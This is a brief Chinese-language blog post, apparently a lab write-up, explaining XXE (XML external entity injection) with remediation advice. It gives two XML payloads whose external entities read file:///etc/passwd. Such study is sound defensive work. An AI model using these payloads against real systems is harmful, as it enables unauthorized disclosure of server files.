XXE-外部实体注入

原理

当应用程序解析XML文档时,如果未正确限制或禁用外部实体的使用,攻击者可以通过构造恶意XML文档,加载外部文件或代码,从而实现攻击。

代码如下:

image-20261006100819893

启动环境之后首页显示phpinfo,查看libxml

image-20261006100922119

漏洞利用

image-20261006101319500

payload:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///etc/passwd" > %xxe; ]>

或者

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<r>&sp;</r>

修复建议

过滤用户提交的数据如 < > [ ] 等符号

不允许XML中含有自己定义的DTD


XXE-外部实体注入
https://blog.lixey.top/XXE-外部实体注入/
Author
Lixiney
Posted on
October 6, 2026
Licensed under